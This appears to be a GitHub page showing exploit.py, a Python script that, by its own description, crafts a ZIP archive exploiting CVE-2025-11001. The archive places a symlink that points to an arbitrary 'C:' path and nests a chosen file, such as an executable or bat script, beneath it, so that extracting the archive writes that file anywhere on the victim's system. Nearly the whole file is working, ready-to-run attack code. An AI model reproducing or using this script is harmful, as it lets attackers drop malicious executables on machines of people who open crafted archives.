-
Notifications
You must be signed in to change notification settings - Fork 21
Expand file tree
/
Copy pathexploit.py
More file actions
78 lines (70 loc) · 2.28 KB
/
exploit.py
File metadata and controls
78 lines (70 loc) · 2.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import argparse
import os
import time
import zipfile
def add_dir(z, arcname):
if not arcname.endswith('/'):
arcname += '/'
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o040755 << 16) | 0x10
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, b'')
def add_symlink(z, arcname, target):
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o120777 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, target.encode('utf-8'))
def add_file_from_disk(z, arcname, src_path):
with open(src_path, 'rb') as f:
payload = f.read()
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o100644 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, payload)
def main():
parser = argparse.ArgumentParser(
description="Crafts a zip that exploits CVE-2025-11001."
)
parser.add_argument(
"--zip-out", "-o",
required=True,
help="Path to the output ZIP file."
)
parser.add_argument(
"--symlink-target", "-t",
required=True,
help="Destination path the symlink points to - specify a \"C:\" path"
)
parser.add_argument(
"--data-file", "-f",
required=True,
help="Path to the local file to embed e.g an executable or bat script."
)
parser.add_argument(
"--dir-name",
default="data",
help="Top-level directory name inside the ZIP (default: data)."
)
parser.add_argument(
"--link-name",
default="link_in",
help="Symlink entry name under the top directory (default: link_in)."
)
args = parser.parse_args()
top_dir = args.dir_name.rstrip("/")
link_entry = f"{top_dir}/{args.link_name}"
embedded_name = os.path.basename(args.data_file)
file_entry = f"{link_entry}/{embedded_name}"
with zipfile.ZipFile(args.zip_out, "w") as z:
add_dir(z, top_dir)
add_symlink(z, link_entry, args.symlink_target)
add_file_from_disk(z, file_entry, args.data_file)
print(f"Wrote {args.zip_out}")
if __name__ == "__main__":
main()